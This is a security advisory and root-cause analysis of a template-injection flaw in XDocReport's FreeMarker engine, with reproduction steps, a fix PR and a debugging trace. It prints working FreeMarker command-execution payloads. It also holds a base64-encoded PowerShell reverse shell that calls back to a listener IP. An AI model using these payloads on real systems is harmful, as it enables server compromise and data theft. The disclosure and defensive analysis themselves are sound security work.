# CVE-2025-64087 (SSTI FreeMarker) EN # Server-Side Template Injection (SSTI) in XDocReport allows Remote Code Execution via Apache FreeMarker engine ## Bug Definition **Overview of the vulnerability** - Server-Side Template Injection (SSTI) is a web security vulnerability that allows an attacker to inject malicious code into templates used by content management systems (CMS) and web frameworks, enabling remote attacks that can exfiltrate sensitive information or perform system intrusion. - SSTI is a variant of injection vulnerabilities (such as SQL Injection, XSS, etc.), in which an attacker abuses template systems to execute arbitrary code remotely. When an SSTI is successfully exploited, the attacker can execute their own code on the server, allowing remote actions such as data exfiltration, system compromise, and unauthorized access to resources. - SSTI often arises from using unsafe template engines or from failing to validate/sanitize input parameters before inserting them into templates. A successful SSTI can have severe consequences and cause major losses to the impacted organization. **Business Impact** - SSTI can cause a number of severe impacts, including: - **Code execution**: An attacker can leverage this vulnerability to execute arbitrary code on the server, enabling data theft, unauthorized actions, or full server takeover. - **Sensitive data disclosure**: SSTI may allow attackers to read, modify, or delete files on the server. If those files contain sensitive information (e.g., credentials), attackers can easily expose them. - **Phishing or user-targeted attacks**: Attackers could modify website content or inject fake UI elements to trick users into revealing information or installing malware. ## Severity: CRITICAL ![image](https://hackmd.io/_uploads/ryNXBcWbWe.png) ## Description and Impact A Server-Side Template Injection (SSTI) vulnerability was found in OpenSAGRES XDocReport when processing DOCX templates with the FreeMarker engine. Under certain configurations, crafted templates can lead to Remote Code Execution (RCE). The HR management web application allows users to upload `.docx` document files to the system. During processing, the application uses the FreeMarker template engine (in `FreemarkerTemplateEngine.java`) to render content such as `${"freemarker.template.utility.Execute"?new()("whoami")}` without any input validation or filtering. This vulnerability allows an attacker to embed malicious expressions into the `.docx` template, resulting in **Remote Code Execution (RCE)** on the server and enabling data theft or system takeover. ## Affected component fr.opensagres.xdocreport.template.freemarker — XDocReport (versions 1.0.0 through 2.1.0). ## Root cause analysis - The file `https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java` does not validate the contents of the input DOCX/template file. Template content is loaded directly and passed into `process(context, writer, template)` for FreeMarker processing without sandboxing or restriction of directives/expressions. As a result, an attacker can supply a template containing malicious FreeMarker expressions/commands, leading to Remote Code Execution (RCE). ![image](https://hackmd.io/_uploads/BJln3YE0lg.png) ## Steps to reproduce 1. The user uploads a `.docx` file that contains the following payload inside the template: ``` ${"freemarker.template.utility.Execute"?new()("calc")} ``` ![image](https://hackmd.io/_uploads/SJ7CPIz0xg.png) 2. Observe that the payload executes successfully and opens the calculator application. ![image](https://hackmd.io/_uploads/BkaIvIMRle.png) 3. Similarly, to obtain the username of the account running on the system, use: ``` ${"freemarker.template.utility.Execute"?new()("whoami")} ``` ![image](https://hackmd.io/_uploads/SyRbsFzCxe.png) ![image](https://hackmd.io/_uploads/ryImsFGAgg.png) 4. After template processing, the `.docx` output reveals system information (demonstrating RCE). ![image](https://hackmd.io/_uploads/SyeNsKfRex.png) 5. Tương tự với payload sau: ``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")} ``` ![image](https://hackmd.io/_uploads/HyS5SgU0eg.png) ![image](https://hackmd.io/_uploads/Bk13HeLAll.png) ![image](https://hackmd.io/_uploads/r1yiHlIAel.png) 6. Nâng impact lên RCE - Máy lắng nghe là wsl có địa chỉ ip là `172.26.208.130` ![image](https://hackmd.io/_uploads/SkYCol8Cel.png) - khai thác với payload sau: ![image](https://hackmd.io/_uploads/HksplZUAeg.png) ```java ${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")} ``` ![image](https://hackmd.io/_uploads/H10-3x8Rxe.png) - Cho file ``.docx`` qua xdocreport xử lý ![image](https://hackmd.io/_uploads/SkAI3lLAxe.png) - Thấy bắt được shell trả về tại máy wsl ![image](https://hackmd.io/_uploads/BycRhxUAel.png) ## Solution - https://github.com/opensagres/xdocreport/pull/705 My fix still allows rendering of ordinary object/property expressions like `${cuong.name}` while blocking dangerous built-in functions. - **All SSTI payloads are blocked**: - `${'freemarker.template.utility.Execute'?new()('calc')}` — **BLOCKED** by `ALLOWS_NOTHING_RESOLVER` - `${'java.lang.Runtime'?api.getRuntime()}` — **BLOCKED** by `setAPIBuiltinEnabled(false)` - All other payloads using `?new()` and `?api` are blocked. ## References - https://portswigger.net/web-security/server-side-template-injection ## Timeline - `2025-10-19`: Vulnerability reported to maintainers (Angelo Zerr, Pascal Leclercq) and PR created: https://github.com/opensagres/xdocreport/pull/705 ![image](https://hackmd.io/_uploads/r1w-5QB0ll.png) ![image](https://hackmd.io/_uploads/SJRmqQBRge.png) ![image](https://hackmd.io/_uploads/rkCxs7rAgg.png) - `2025-10-24`: Follow-up email sent. (No response as of 2025-10-30.) **References / Links** - PR: https://github.com/opensagres/xdocreport/pull/705 - Source file: https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java **Contact / Credit** Discovered by Nguyen Hung Cuong (GitHub: AT190510-Cuong). Full PoC available to vendors and MITRE on request. ## Debug / Environment Setup ![image](https://hackmd.io/_uploads/HkUB2FG0xe.png) - `Main.java` used for testing: ```java package org.example; import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind; import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream; public class Main { public static void main(String[] args) { try { // Read input file that contains template expressions File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // input file InputStream input = new FileInputStream(docxTemplate); // Load template using FreeMarker IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); // Create context — can be empty for testing standalone expressions IContext context = report.createContext(); // Output file OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx")); report.process(context, out); System.out.println("✅ result.docx created successfully."); } catch (Exception e) { System.err.println("❌ Error processing file:"); e.printStackTrace(); } } } ``` - Required dependencies: ```xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>vcs1</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>18</maven.compiler.source> <maven.compiler.target>18</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <!-- Template engine: FreeMarker --> <dependency> <groupId>fr.opensagres.xdocreport</groupId> <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId> <version>2.1.0</version> </dependency> <dependency> <groupId>fr.opensagres.xdocreport</groupId> <artifactId>fr.opensagres.xdocreport.document.docx</artifactId> <version>2.0.3</version> </dependency> </dependencies> </project> ``` ## Debug — source / sink analysis **Entry point (sources)** ```java File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); ``` → The DOCX file is the primary source — if the file is uploaded/written by a user, the internal template content (FreeMarker syntax) is untrusted input. ``` InputStream input = new FileInputStream(docxTemplate); ``` → Read file content to pass to XDocReport. ```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); ``` - `loadReport(...)` parses the DOCX, finds template entries inside the DOCX and creates an `IXDocReport` (internally it will create a FreeMarker `Template` object or keep a reader for the template). - The template content inside the DOCX is now stored in the `report` object (not executed yet). ![image](https://hackmd.io/_uploads/B1iFlSzAel.png) ![image](https://hackmd.io/_uploads/S1NkWBf0ee.png) `zipInputStream.getNextEntry()` iterates through each entry (file) inside the ZIP (.docx). `archive = new XDocArchive(...)` — if no archive exists, it creates one to organize/register document entries. ![image](https://hackmd.io/_uploads/HkiIWSfAel.png) **Summary:** this step unzips the DOCX contents into an internal structure (XDocArchive) so subsequent steps can access component files (document.xml, ...). ```java private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind, ITemplateEngine templateEngine, boolean cacheReport ) throws IOException, XDocReportException { initializeIfNeeded(); // 2) zip was loaded, create an instance of report IXDocReport report = createReport( sourceStream ); // 3) Update the report id if need. if ( StringUtils.isEmpty( reportId ) ) { reportId = report.toString(); } report.setId( reportId ); // 4) Search or set the template engine. if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) ) { // Template engine was not forced. // Search template engine String documentKind = report.getKind(); templateEngine = TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind ); if ( templateEngine == null ) { templateEngine = TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null ); } } report.setTemplateEngine( templateEngine ); if ( cacheReport ) { registerReport( report ); } return report; } ``` | Step | Action | Purpose | | --- | --- | --- | | 1 | Read DOCX file | Obtain original report structure | | 2 | Create `IXDocReport` | Represent the template | | 3 | Assign ID | Unique management | | 4 | Select template engine | To process expressions (Freemarker/Velocity) | | 5 | Cache if needed | Performance optimization | | 6 | Return report | Used to render final file | ![image](https://hackmd.io/_uploads/B1YuErzAxg.png) **Conclusion:** there is no SSTI check during `IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);` — it only loads XML files inside the docx and returns an `IXDocReport` ready to be processed (e.g., render/merge data…). ![image](https://hackmd.io/_uploads/HJp_HBf0eg.png) At `report.process(context, out);` ![image](https://hackmd.io/_uploads/SkOO64M0gg.png) - This is the activation point (execution sink): XDocReport will call the corresponding engine (here FreeMarker) to merge the template with the context and render the output to `out`. - This method takes the preloaded document template (e.g., .docx or .odt), injects data from the `context` (usually an `IContext`) into variables inside the template. - Then it renders the final document (with real data) and writes the result to the output stream (e.g., `results.docx`). Digging inside this method, it calls `preprocess(...)` which parses XML by reading each XML entry, then parses XML content and creates a `BufferedDocument` and writes it to a `Writer` (this is the preprocessed XML). ![image](https://hackmd.io/_uploads/HJcywBzRxl.png) ```java public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata, IDocumentFormatter formatter, Map<String, Object> sharedContext ) throws XDocReportException, IOException { try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); BufferedDocumentContentHandler<?> contentHandler = createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext ); xmlReader.setContentHandler( contentHandler ); xmlReader.parse( new InputSource( reader ) ); BufferedDocument document = contentHandler.getBufferedDocument(); if ( document != null ) { document.save( writer ); // StringWriter s = new StringWriter(); // document.save( s ); // System.err.println( s ); return true; } return false; } catch ( SAXException e ) { throw new XDocReportException( e ); } } ``` ![image](https://hackmd.io/_uploads/BJsDqHzRge.png) Then it jumps into `processNoCache()` and calls `getReader()`. ![image](https://hackmd.io/_uploads/r1gpirG0el.png) ![image](https://hackmd.io/_uploads/H1xE3rfCxl.png) The `getReader()` function wraps the whole template with escape directives to ensure content is processed more safely (escape XML, avoid injection). ![image](https://hackmd.io/_uploads/HyM8pHzCxe.png) **Original template:** ```xml <w:p> <w:t>Hello ${name}!</w:t> </w:p> ``` **After `getReader()` processing:** ``` [#--<![CDATA[[#escape any as any?xml] <w:p> <w:t>Hello ${name}!</w:t> </w:p> [/#escape][#--]]>--] ``` This helps FreeMarker read templates more safely: - Protect XML: escape special characters in XML - Safer parsing: avoid parse errors when FreeMarker reads the template Then it calls `FMParser` to parse FreeMarker syntax. ![image](https://hackmd.io/_uploads/SJwnxLfCgg.png) Finally it goes into `process()` and calls `environment.process();` which reads from the `reader`. ```java public void process() throws TemplateException, IOException { Object savedEnv = threadEnv.get(); threadEnv.set(this); try { // Cached values from a previous execution are possibly outdated. clearCachedValues(); try { doAutoImportsAndIncludes(this); visit(getTemplate().getRootTreeNode()); // It's here as we must not flush if there was an exception. if (getAutoFlush()) { out.flush(); } } finally { // It's just to allow the GC to free memory... clearCachedValues(); } } finally { threadEnv.set(savedEnv); } } ``` 👉 This is the most important step — real rendering happens here. - `getTemplate()` returns the parsed template (AST). - `getRootTreeNode()` is the root node of the syntax tree produced by `FMParser` during parsing. - `visit()` is FreeMarker’s core API that traverses and renders each template element, defined in `freemarker.core.Environment`. - Encounter a `TextBlock` → write text to `out`. - Encounter an `Interpolation` (e.g. `${user.name}`) → look up in dataModel, write value to `out`. - Encounter `#if`, `#list`, `#include`, macro → process corresponding logic. ```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! } ``` ![image](https://hackmd.io/_uploads/BJMLCQX0ee.png) ![image](https://hackmd.io/_uploads/SyDi57mAgg.png) ![image](https://hackmd.io/_uploads/SJ6Wo7XRel.png) It triggers at the entry `word/document.xml`. ![image](https://hackmd.io/_uploads/H1axTmmAgx.png) Next it calls `accept()`. ![image](https://hackmd.io/_uploads/B1A92I7Rgl.png) ```java TemplateElement[] accept(Environment env) throws TemplateException, IOException { final Object moOrStr = calculateInterpolatedStringOrMarkup(env); final Writer out = env.getOut(); if (moOrStr instanceof String) { final String s = (String) moOrStr; if (autoEscape) { markupOutputFormat.output(s, out); } else { out.write(s); } } else { final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr; final MarkupOutputFormat moOF = mo.getOutputFormat(); // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic! if (moOF == outputFormat) { moOF.output(mo, out); } else if (!outputFormat.isOutputFormatMixingAllowed()) { final String srcPlainText; // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic! srcPlainText = moOF.getSourcePlainText(mo); if (srcPlainText == null) { throw new _TemplateModelException(escapedExpression, "The value to print is in ", new _DelayedToString(moOF), " format, which differs from the current output format, ", new _DelayedToString(outputFormat), ". Format conversion wasn't possible."); } if (markupOutputFormat != null) { markupOutputFormat.output(srcPlainText, out); } else { out.write(srcPlainText); } } else if (markupOutputFormat != null) { markupOutputFormat.outputForeign(mo, out); } else { moOF.output(mo, out); } } return null; } ``` ![image](https://hackmd.io/_uploads/ryiU0I7Clx.png) ```java final TemplateModel eval(Environment env) throws TemplateException { try { return constantValue != null ? constantValue : _eval(env); } catch (FlowControlException | TemplateException e) { throw e; } catch (Exception e) { if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) { throw new _MiscTemplateException( this, e, env, "Expression has thrown an unchecked exception; see the cause exception."); } else if (e instanceof RuntimeException) { throw (RuntimeException) e; } else { throw new UndeclaredThrowableException(e); } } } ``` ![image](https://hackmd.io/_uploads/Hkz_xwQ0ex.png) ![image](https://hackmd.io/_uploads/S1MBxv7Axl.png) ![image](https://hackmd.io/_uploads/S1rf7w7Rxx.png) ![image](https://hackmd.io/_uploads/rk-UQDXRxx.png) ![image](https://hackmd.io/_uploads/HJaI7DXRgg.png) ![image](https://hackmd.io/_uploads/S1QOQD7Rlx.png) ![image](https://hackmd.io/_uploads/SywK7PXRlx.png) ![image](https://hackmd.io/_uploads/BJCqQDX0xe.png) ![image](https://hackmd.io/_uploads/SJ9RmwXCle.png) **Execution flow inside `visit()` is as follows:** ``` visit(Interpolation) // calls accept(...) └─ Interpolation.accept(env) └─ calculateInterpolatedStringOrMarkup(env) └─ expression.eval(env) └─ (to _eval) target.eval(env) // returns TemplateMethodModel (built-in new()/Execute) └─ targetMethod.exec(arguments) ← exec() executes -> runs `calc` ← 💥 SSTI happens here ``` ### Debug summary ``` [User uploads DOCX template] │ ▼ ┌──────────────────────────────────────────┐ │ XDocReportRegistry.loadReport(...) │ │ - Receives InputStream (file .docx) │ │ - TemplateEngineKind=Freemarker │ │ - Calls createReport(...) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FreemarkerTemplateEngine.loadTemplate() │ │ - Calls new Template(templateName, Reader,│ │ Configuration) │ │ - => FMParser parses template content │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FMParser(this, reader, config) │ │ - Reads DOCX XML content │ │ - Parses syntax │ │ Creates AST: │ │ ├─ TextBlock ("Hello") │ │ ├─ DollarVariable (${name}) │ │ └─ FunctionCall (${Runtime.exec(...)})│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment env = │ │ template.createProcessingEnvironment() │ │ env.process() │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment.process() │ │ - clearCachedValues() │ │ - doAutoImportsAndIncludes() │ │ - visit(getTemplate().getRootTreeNode())│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ visit(TemplateElement node) │ │ - node.accept(env) │ │ - Write output to writer (stream) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ If node is ${...} │ │ ⇒ ExpressionEvaluator is called │ │ ⇒ eval() expression inside `${}` │ │ ⇒ Can access Java methods if not │ │ sandboxed or restricted │ │ ⇒ Example: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │ └──────────────────────────────────────────┘ │ ▼ 🚨 **Result: Server-Side Template Injection (SSTI)** ``` ## 🔍 Key exploitable stages | Stage | Class | Role | SSTI relevance | | --- | --- | --- | --- | | `loadReport()` | `XDocReportRegistry` | Load template | No input validation | | `getReader()` | `TemplateEngine` | Read template data | May contain payload | | `FMParser` | `freemarker.core` | Parse content | `${}` is parsed | | `Environment.process()` | `freemarker.core` | Render template | Calls `visit()` on nodes | | `visit()` / `eval()` | `freemarker.core` | Evaluate expressions | **SSTI / RCE occurs here** | ---